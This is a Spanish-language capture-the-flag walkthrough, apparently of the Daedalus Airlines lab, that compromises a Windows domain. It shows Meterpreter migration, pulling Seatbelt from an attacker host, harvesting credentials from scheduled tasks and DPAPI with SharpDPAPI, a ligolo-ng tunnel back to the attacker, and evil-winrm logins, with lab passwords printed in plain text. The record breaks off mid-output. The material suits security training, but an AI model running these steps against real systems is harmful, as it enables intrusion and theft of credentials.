Enumeraremos los procesos del usuario, a ver si vemos alguno con privilegios más altos que los que disponemos actualmente con el fin de migrar al mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
meterpreter > ps -U svc_dev Filtering on user 'svc_dev' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 864 744 svchost.exe x64 1 WEB01\svc_dev C:\Windows\System32\svchost.exe 1192 6776 cmd.exe x64 0 WEB01\svc_dev C:\Windows\System32\cmd.exe 2472 2628 powershell.exe x86 0 WEB01\svc_dev C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 2520 1192 conhost.exe x64 0 WEB01\svc_dev C:\Windows\System32\conhost.exe 2628 2800 powershell.exe x86 0 WEB01\svc_dev C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 2760 2472 rev.exe x64 0 WEB01\svc_dev C:\Users\svc_dev\Desktop\rev.exe 2800 5888 cmd.exe x86 0 WEB01\svc_dev C:\Windows\SysWOW64\cmd.exe 2828 2692 sihost.exe x64 1 WEB01\svc_dev C:\Windows\System32\sihost.exe 5260 744 svchost.exe x64 1 WEB01\svc_dev C:\Windows\System32\svchost.exe 5428 7572 vm3dservice.exe x64 1 WEB01\svc_dev C:\Windows\System32\vm3dservice.exe 5888 1192 nc.exe x86 0 WEB01\svc_dev C:\Users\svc_dev\nc.exe 6392 904 RuntimeBroker.exe x64 1 WEB01\svc_dev C:\Windows\System32\RuntimeBroker.exe 7104 1916 taskhostw.exe x64 1 WEB01\svc_dev C:\Windows\System32\taskhostw.exe 7176 904 RuntimeBroker.exe x64 1 WEB01\svc_dev C:\Windows\System32\RuntimeBroker.exe 7436 2472 rev.exe x64 0 WEB01\svc_dev C:\Users\svc_dev\Desktop\rev.exe 7572 7540 explorer.exe x64 1 WEB01\svc_dev C:\Windows\explorer.exe 7704 904 RuntimeBroker.exe x64 1 WEB01\svc_dev C:\Windows\System32\RuntimeBroker.exe 7844 7572 vmtoolsd.exe x64 1 WEB01\svc_dev C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 7968 904 ShellExperienceHost.exe x64 1 WEB01\svc_dev C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe 8124 904 SearchUI.exe x64 1 WEB01\svc_dev C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe |
Nos centramos en el proceso de RuntimeBroker y migramos al mismo
|
1 2 3 |
meterpreter > migrate 7176 [*] Migrating from 2760 to 7176... [*] Migration completed successfully. |
A continuación cargaremos powershell, subiremos SeatBelt y lo ejecutaremos para obtener las tareas programadas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
meterpreter > load powershell Loading extension powershell...Success. meterpreter > powershell_shell PS > iwr -uri http://10.10.14.12/Invoke-Seatbelt.ps1 -outfile Invoke-Seatbelt.ps1 PS > Import-Module .\Invoke-Seatbelt.ps1 PS > Invoke-Seatbelt -Command ScheduledTasks %&&@@@&& &&&&&&&%%%, #&&@@@@@@%%%%%%###############% &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### #####%###################### %%%.. @////(((&%%%%%%%################ &%& %%%%% S34tb3lt %////(((&%%%%%%%%#############* &%%&&&%%%%% v1.1.0 ,(((&%%%%%%%%%%%%%%%%%, #%%%%##, ====== ScheduledTasks ====== Non Microsoft scheduled tasks (via WMI) ... Name : AutochkTask Principal : GroupId : Id : Author LogonType : 1 RunLevel : TASK_RUNLEVEL_LUA UserId : svc_dev Author : DAEDALUS\Administrator Description : Source : State : Ready SDDL : Enabled : True Date : 1/3/2020 3:34:29 AM AllowDemandStart : True DisallowStartIfOnBatteries : True ExecutionTimeLimit : PT0S StopIfGoingOnBatteries : True Actions : ------------------------------ Type : MSFT_TaskAction Arguments : net use E: \\fin01\invoices /user:billing_user D43d4lusB1ll1ngB055 Execute : powershell ------------------------------ Triggers : ------------------------------ Type : MSFT_TaskTimeTrigger Enabled : True StartBoundary : 2020-01-13T04:13:47 Interval : PT1M StopAtDurationEnd : False ------------------------------ ... |
Y si nos fijamos en las mismas hay una tarea contra el servidor fin01, en la cual vemos además las credenciales del usuario billing_user.
Aprovechando la conexión enumeraremos credenciales y obtenemos la password del usuario de mssql sa
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
PS > Invoke-Seatbelt -Command CredEnum %&&@@@&& &&&&&&&%%%, #&&@@@@@@%%%%%%###############% &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% %%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( #%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( #%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( #####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( #######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### ###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### #####%###################### %%%.. @////(((&%%%%%%%################ &%& %%%%% S34tb3lt %////(((&%%%%%%%%#############* &%%&&&%%%%% v1.1.0 ,(((&%%%%%%%%%%%%%%%%%, #%%%%##, ====== CredEnum ====== Target : Microsoft:SSMS:18:WEB01:sa:8c91a03d-f9b4-46c0-a305-b5dcc79ff907:1 UserName : sa Password : MySAisL33TM4n CredentialType : Generic PersistenceType : LocalComputer LastWriteTime : 4/2/2021 7:11:52 AM Target : Microsoft:SSMS:18:::00000000-0000-0000-0000-000000000000:0 UserName : Password : CredentialType : Generic PersistenceType : LocalComputer LastWriteTime : 4/2/2021 7:08:44 AM [*] Completed collection in 0.013 seconds |
Completada esta parte y con las credenciales obtenidas, vamos a crear un tunel con ligolo que nos permita acceder a la red interna y poder acceder con las credenciales descubiertas hasta el momento.
Así que creamos la interfaz para ligolo y enrutamos a través de este la red interna descubierta
|
1 2 3 |
$ sudo ip tuntap add user asdf mode tun ligolo $ sudo ip link set ligolo up $ sudo ip ro add 192.168.10.0/24 dev ligolo |
Levantamos nuestro servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ ./proxy -selfcert WARN[0000] Using automatically generated self-signed certificates (Not recommended) INFO[0000] Listening on 0.0.0.0:11601 __ _ __ / / (_)___ _____ / /___ ____ ____ _ / / / / __ `/ __ \/ / __ \______/ __ \/ __ `/ / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / /_____/_/\__, /\____/_/\____/ /_/ /_/\__, / /____/ /____/ Made in France ♥ by @Nicocha30! ligolo-ng » |
Y ejecutamos el cliente para conectarnos
|
1 2 3 4 |
PS C:\Users\svc_dev\Desktop> .\agent.exe -connect 10.10.14.12:11601 -ignore-cert .\agent.exe -connect 10.10.14.12:11601 -ignore-cert time="2023-11-10T03:08:07-08:00" level=warning msg="warning, certificate validation disabled" time="2023-11-10T03:08:07-08:00" level=info msg="Connection established" addr="10.10.14.12:11601" |
Ya tenemos acceso a la red 192.168.10.0/24 así que vamos a lanzar un escaneo con nmap para detectar los puertos abiertos en el servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ nmap -sS -p- --open --min-rate 1000 -vvv -n -oA enumeration/nmap-internal-1 -Pn 192.168.10.39 Nmap scan report for 192.168.10.39 Host is up, received user-set (1.4s latency). Scanned at 2023-11-10 09:53:33 GMT for 134s Not shown: 65518 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 135/tcp open msrpc syn-ack ttl 64 139/tcp open netbios-ssn syn-ack ttl 64 445/tcp open microsoft-ds syn-ack ttl 64 1433/tcp open ms-sql-s syn-ack ttl 64 3389/tcp open ms-wbt-server syn-ack ttl 64 5357/tcp open wsdapi syn-ack ttl 64 5985/tcp open wsman syn-ack ttl 64 8888/tcp open sun-answerbook syn-ack ttl 64 47001/tcp open winrm syn-ack ttl 64 49664/tcp open unknown syn-ack ttl 64 49665/tcp open unknown syn-ack ttl 64 49666/tcp open unknown syn-ack ttl 64 49667/tcp open unknown syn-ack ttl 64 49668/tcp open unknown syn-ack ttl 64 49669/tcp open unknown syn-ack ttl 64 49670/tcp open unknown syn-ack ttl 64 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Nov 10 09:55:47 2023 -- 1 IP address (1 host up) scanned in 134.93 seconds |
Y una vez descubiertos los puertos vamos a lanzar un escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
$ nmap -sCV -p 80,135,139,445,1433,3389,5357,5985,8888,47001,49664,49665,49666,49667,49668,49669,49670 -oA enumeration/nmap-internal-2 -Pn 192.168.10.39 Nmap scan report for 192.168.10.39 Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Daedalus Airlines | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open @ Windows Server 2019 Standard 17763 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.2027.00; RTM+ | ms-sql-ntlm-info: | 192.168.10.39:1433: | Target_Name: DAEDALUS | NetBIOS_Domain_Name: DAEDALUS | NetBIOS_Computer_Name: WEB01 | DNS_Domain_Name: daedalus.local | DNS_Computer_Name: WEB01.daedalus.local | DNS_Tree_Name: daedalus.local |_ Product_Version: 10.0.17763 |_ssl-date: 2023-11-10T11:16:05+00:00; +1h16m48s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2023-11-10T03:23:17 |_Not valid after: 2053-11-10T03:23:17 | ms-sql-info: | 192.168.10.39:1433: | Version: | name: Microsoft SQL Server 2017 RTM+ | number: 14.00.2027.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: true |_ TCP port: 1433 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2023-11-10T11:16:05+00:00; +1h16m48s from scanner time. | rdp-ntlm-info: | Target_Name: DAEDALUS | NetBIOS_Domain_Name: DAEDALUS | NetBIOS_Computer_Name: WEB01 | DNS_Domain_Name: daedalus.local | DNS_Computer_Name: WEB01.daedalus.local | DNS_Tree_Name: daedalus.local | Product_Version: 10.0.17763 |_ System_Time: 2023-11-10T11:15:26+00:00 | ssl-cert: Subject: commonName=WEB01.daedalus.local | Not valid before: 2023-11-09T03:22:55 |_Not valid after: 2024-05-10T03:22:55 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Service Unavailable |_http-server-header: Microsoft-HTTPAPI/2.0 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8888/tcp open tcpwrapped 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h25m22s, deviation: 3h01m26s, median: 1h16m47s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3) | Computer name: WEB01 | NetBIOS computer name: WEB01\x00 | Domain name: daedalus.local | Forest name: daedalus.local | FQDN: WEB01.daedalus.local |_ System time: 2023-11-10T03:15:28-08:00 | smb2-time: | date: 2023-11-10T11:15:26 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 10 09:59:17 2023 -- 1 IP address (1 host up) scanned in 110.15 seconds |
Vemos que tiene abierto el puerto de winrm así que conectamos con las credenciales obtenidas
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ evil-winrm -i 192.168.10.39 -u billing_user -p 'D43d4lusB1ll1ngB055' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\billing_user\Documents> whoami daedalus\billing_user *Evil-WinRM* PS C:\Users\billing_user\Documents> |
Y como el usuario tiene permisos de admin, vamos al escritorio del usuario administrator para obtener la segunda flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
*Evil-WinRM* PS C:\Users\administrator\desktop> dir Directory: C:\Users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 10/14/2020 10:39 AM 29 flag.txt *Evil-WinRM* PS C:\Users\administrator\desktop> type flag.txt ASCENSION{N0_XXXXXXXXXXXXXXXXXX} |
3. Contrails
Vistas las credenciales obtenidas del usuario sa realizamos varias pruebas en el MSSQL pero sin éxito, así que parece que no será la forma de obtener más privilegios.
Pasamos de este y después de mucho tiempo perdido enumerando vamos a utilizar SharpDpapi a ver si podemos sacar a la luz algún secreto oculto.
Así lo ejecutamos con las credenciales descubiertas del usuario billing_user
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
*Evil-WinRM* PS C:\Users\billing_user\Documents> .\SharpDPAPI.exe credentials /password:D43d4lusB1ll1ngB055 __ _ _ _ ___ (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | v1.11.2 [*] Action: User DPAPI Credential Triage [*] Will decrypt user masterkeys with password: D43d4lusB1ll1ngB055 [*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-500\508750b6-e8ff-4a95-97c3-08c76edeb759 [*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-500\96bf1bb5-5618-46ff-b32b-5ae439a9dafa [*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-500\f77aed43-beff-4c38-805d-656a7bc7097a [*] Found MasterKey : C:\Users\Administrator.DAEDALUS\AppData\Roaming\Microsoft\Protect\S-1-5-21-4088429403-1159899800-2753317549-500\19cc9310-f7b8-4800-9448-d65efcaa9137 [*] Found MasterKey : C:\Users\Administrator.DAEDALUS\AppData\Roaming\Microsoft\Protect\S-1-5-21-4088429403-1159899800-2753317549-500\33985371-4a3b-4a85-a887-93f61bd3b05b [*] Found MasterKey : C:\Users\billing_user\AppData\Roaming\Microsoft\Protect\S-1-5-21-4088429403-1159899800-2753317549-1603\56a4e7f0-7ae5-4a66-86c8-abb9aa484acd [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\29c91d6e-339c-4e04-9796-f43aca8e1af3 [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\2BF4CFC9-5473-4C95-8514-35861FCBF022 [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\3b870919-06ba-4039-ba21-e48a161abdea [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\57279ce0-f8b0-47bd-b547-4a2a32a871fb [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\a1d3533e-af1e-48ed-ab39-72ed6fdf477e [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\cd1dcb0e-0596-44b6-b03d-3d9d43092651 [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\29C91D6E-339C-4E04-9796-F43ACA8E1AF3 [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\2bf4cfc9-5473-4c95-8514-35861fcbf022 [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\93d13701-6d0b-4909-987f-daeb8e1a06df [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\a6d61830-7389-4ede-b859-3142a0db5d7f [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\dd067335-9e4c-441b-a3cd-a35c0be3418a [*] User master key cache: {19cc9310-f7b8-4800-9448-d65efcaa9137}:C1C75FBCFE5433F9225BDA31DE94D3340320E5D6 {33985371-4a3b-4a85-a887-93f61bd3b05b}:7F04AE7CF6817C8E89D5E408A93838FD8C266503 {56a4e7f0-7ae5-4a66-86c8-abb9aa484acd}:1312251FB1AE77DEC889C6B88F391AD10BF59D87 [*] Triaging Credentials for ALL users ... Folder : C:\Users\billing_user\AppData\Local\Microsoft\Credentials\ CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D guidMasterKey : {56a4e7f0-7ae5-4a66-86c8-abb9aa484acd} size : 11068 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES) description : Local Credential Data LastWritten : 10/14/2020 5:34:28 AM TargetName : WindowsLive:target=virtualapp/didlogical TargetAlias : Comment : PersistedCredential UserName : 02pxaffekseinmsx Credential : Folder : C:\Users\billing_user\AppData\Roaming\Microsoft\Credentials\ CredFile : C48FA9BC4637C67CB306A191C3C91E23 guidMasterKey : {56a4e7f0-7ae5-4a66-86c8-abb9aa484acd} size : 430 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES) description : Enterprise Credential Data LastWritten : 10/14/2020 5:35:22 AM TargetName : Domain:interactive=DAEDALUS\svc_backup TargetAlias : Comment : UserName : DAEDALUS\svc_backup Credential : jkQXAnHKj#7w#XS$ ... |
Y obtenemos las credenciales del usuario svc_backup.
Siguiendo con la investigación, nos fijamos en el siguiente post de credential harvesting con DPAPI para obtener las masterkeys
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
*Evil-WinRM* PS C:\Users\billing_user\Documents> .\SharpDPAPI.exe masterkeys /password:Passw0rd! __ _ _ _ ___ (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | v1.11.2 [*] Action: User DPAPI Masterkey File Triage [*] Will decrypt user masterkeys with password: Passw0rd! [*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-500\508750b6-e8ff-4a95-97c3-08c76edeb759 [*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-500\96bf1bb5-5618-46ff-b32b-5ae439a9dafa [*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-500\f77aed43-beff-4c38-805d-656a7bc7097a [*] Found MasterKey : C:\Users\Administrator.DAEDALUS\AppData\Roaming\Microsoft\Protect\S-1-5-21-4088429403-1159899800-2753317549-500\19cc9310-f7b8-4800-9448-d65efcaa9137 [*] Found MasterKey : C:\Users\Administrator.DAEDALUS\AppData\Roaming\Microsoft\Protect\S-1-5-21-4088429403-1159899800-2753317549-500\33985371-4a3b-4a85-a887-93f61bd3b05b [*] Found MasterKey : C:\Users\billing_user\AppData\Roaming\Microsoft\Protect\S-1-5-21-4088429403-1159899800-2753317549-1603\56a4e7f0-7ae5-4a66-86c8-abb9aa484acd [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\29c91d6e-339c-4e04-9796-f43aca8e1af3 [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\2BF4CFC9-5473-4C95-8514-35861FCBF022 [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\3b870919-06ba-4039-ba21-e48a161abdea [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\57279ce0-f8b0-47bd-b547-4a2a32a871fb [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\a1d3533e-af1e-48ed-ab39-72ed6fdf477e [*] Found MasterKey : C:\Users\MSSQLSERVER\AppData\Roaming\Microsoft\Protect\S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003\cd1dcb0e-0596-44b6-b03d-3d9d43092651 [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\29C91D6E-339C-4E04-9796-F43ACA8E1AF3 [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\2bf4cfc9-5473-4c95-8514-35861fcbf022 [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\93d13701-6d0b-4909-987f-daeb8e1a06df [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\a6d61830-7389-4ede-b859-3142a0db5d7f [*] Found MasterKey : C:\Users\svc_dev\AppData\Roaming\Microsoft\Protect\S-1-5-21-197600473-3515118913-3158175032-1003\dd067335-9e4c-441b-a3cd-a35c0be3418a [*] User master key cache: {19cc9310-f7b8-4800-9448-d65efcaa9137}:1F4B0BF524518A03FC3567D8AD44D0A59147A931 {33985371-4a3b-4a85-a887-93f61bd3b05b}:91D387D1075B1653DEBE99FBE646CF27FF9001BB {56a4e7f0-7ae5-4a66-86c8-abb9aa484acd}:B86955F8AAA8D01410A53DCFD5F5F9EAB7501248 SharpDPAPI completed in 00:00:02.1069654 |
Y vemos que están las credenciales de administrator así que vamos a ver si podemos sacarlas en plano
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 |
*Evil-WinRM* PS C:\Users\billing_user\Documents> .\SharpDPAPI.exe machinecredentials __ _ _ _ ___ (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | v1.11.2 [*] Action: Machine DPAPI Credential Triage [*] Elevating to SYSTEM via token duplication for LSA secret retrieval [*] RevertToSelf() [*] Secret : DPAPI_SYSTEM [*] full: E7BC9098EA7313E0B042679565EDF75CAD219106D3FE11B0F39C1F1E4EAEA01DC393F563C6190EC7 [*] m/u : E7BC9098EA7313E0B042679565EDF75CAD219106 / D3FE11B0F39C1F1E4EAEA01DC393F563C6190EC7 [*] SYSTEM master key cache: {0415ef8e-0ae0-4238-9240-90f873b07eb8}:4F31CF838C52B4DC1C4E2DCD09023316D31B661F {3faada0f-c676-4092-a21d-98749e7035bd}:F630D3478DF2CE72B996D6A90A33286F5B12412A {40956580-28e9-4cdc-bd5a-f7f5d3296e3c}:2A7A3BF8741AAC73F8ECD2F1CCC802397037EFA4 {899805bc-b8a1-40c0-834c-9e307f8e75f1}:6527093587EFD730C0C07D3DA611A98AD1B38931 {9266b8e6-64b8-423c-b8e9-4b5de4fe1a8d}:70F37E3A70076DEA98EB86CACF6511CB2541E71E {c3b44c78-2d7b-4542-9078-22b1e73d9575}:67AF7D6FB8BAC73F31001612B697D27337C0EC53 {df49e508-6894-491b-9d8f-aefc03890813}:C0D4E38607CCC1A0956F5AB1B878021FCF9D6FD4 {e0131457-419d-4905-a547-fadb0cacdd84}:9AF3645C9A2D7A5DBFDAA15133A9AF22641E7710 {17c48be0-e86b-4d5f-883d-994e1dc7ad8e}:794C081F748977CAB0DFC74BC4893DC7D5A73B03 {1ef7b31a-39fd-4309-877e-c354d5a19506}:4D8998194D3BB189C3C4328DBEB029477139B705 {29f30374-7916-4cba-874b-e3929fbf4123}:CC235CAC4DE6663BA0CDA61D3ABDEC10AA2A26E9 {6977da93-ec45-468e-8a19-97d9865fb2e6}:FE97D22DAD2830B6D033CA17D0400C67246E8B22 {79e99075-9dfe-462b-bd58-82ea4508fdb4}:C9E0128D54AEF84D1149D2417A031D168CB24BB2 {a0c34700-bcf5-4dc6-8831-76fe66b74b2c}:3FABB64C6733FADEFAFB460CF25752C49F45C343 {a8deeb85-2a00-4648-8024-a1bff4f382ff}:6C113015CF9FCFE39A2AAF6F27FB8E6842F06206 {b2014c7b-a5e1-4748-bd7f-3f9edf9ee407}:7EF463C6ED7EFC79E7BEA0281C8DC74909D00D60 {dcc6f49e-c207-47c0-b3ba-959ad25c2abb}:D4D4C8B9CB8671653EDDCE39B9B232E499908202 {e892348e-5a34-4a9a-bd46-2f5f3186318b}:32EDF8DB273EDB19A10C2124DA5678CBBBECEF72 [*] Triaging System Credentials Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials CredFile : ADBAA7254AF7B3AC4CBF7B8CE9BD6911 guidMasterKey : {e892348e-5a34-4a9a-bd46-2f5f3186318b} size : 560 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 10/13/2020 10:49:57 AM TargetName : Domain:batch=TaskScheduler:Task:{27B6CB8A-0163-46AB-A0C7-387E45A70048} TargetAlias : Comment : UserName : WEB01\svc_dev Credential : a2W@rWAHzG+zQrB4 CredFile : AF61A1B16221450058FB4D69F7B3FE73 guidMasterKey : {e892348e-5a34-4a9a-bd46-2f5f3186318b} size : 560 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 10/14/2020 10:15:19 AM TargetName : Domain:batch=TaskScheduler:Task:{64EDB31F-E848-4632-8F9F-377559BFA088} TargetAlias : Comment : UserName : WEB01\Administrator Credential : EXuLyX_WtHxx9pS9 CredFile : CEED724993CAA9310FC2FE2F72ECE137 guidMasterKey : {e892348e-5a34-4a9a-bd46-2f5f3186318b} size : 592 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 10/13/2020 2:56:34 AM TargetName 